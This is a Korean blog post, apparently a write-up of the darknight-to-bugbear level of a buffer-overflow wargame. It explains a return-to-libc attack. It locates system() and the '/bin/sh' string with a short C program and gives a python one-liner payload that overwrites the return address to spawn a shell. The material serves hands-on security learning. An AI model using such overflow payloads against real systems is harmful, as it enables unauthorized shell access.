nemo의 이야기
BOF원정대 darknight -> bugbear 본문
코드를 확인하면
1. RET를 스택 영역으로 둘 수 없다.
이를 해결하기 위해 RTL(Return to library)를 이용해서 공격 하면 된다.
RTL이란 리턴 값을 라이브러리가 있는 위치로 바꿔서 공격하는 방식이다.
우선 system 라이브러리가 위치하는 주소를 확인을 해보자
주소는 40058ae0이다
그리고 공유라이브러리에 /bin/sh에 주소를 찾아보자
그럴려면 c파일로 찾아보자
#include <stdio.h>
int main()
{
char *sh = 0x40058ae0;
while( memcmp(sh, "/bin/sh", 7)) {
sh++;
}
printf("find shell : 0x%08x \n",sh);
return 0;
}
실행 시켜보면
/bin/sh에 주소는 400fbff9 라는 것을 확인할 수 있다.
이제 공격 코드를 작성해보자
$(python -c 'print "A"*44 + "\xe0\x8a\x05\x40" + "AAAA" + "\xf9\xbf\x0f\x40"')
공격에 성공한 것을 확인할 수 있다.
'Information security > System security' 카테고리의 다른 글
BOF원정대 giant -> assassin (0) | 2018.02.07 |
---|---|
BOF원정대 bugbear -> giant (0) | 2018.01.28 |
BOF원정대 golem -> darknight (0) | 2018.01.28 |
BOF원정대 skeleton -> golem (0) | 2018.01.25 |
BOF원정대 vampire -> skeleton (0) | 2018.01.19 |
Comments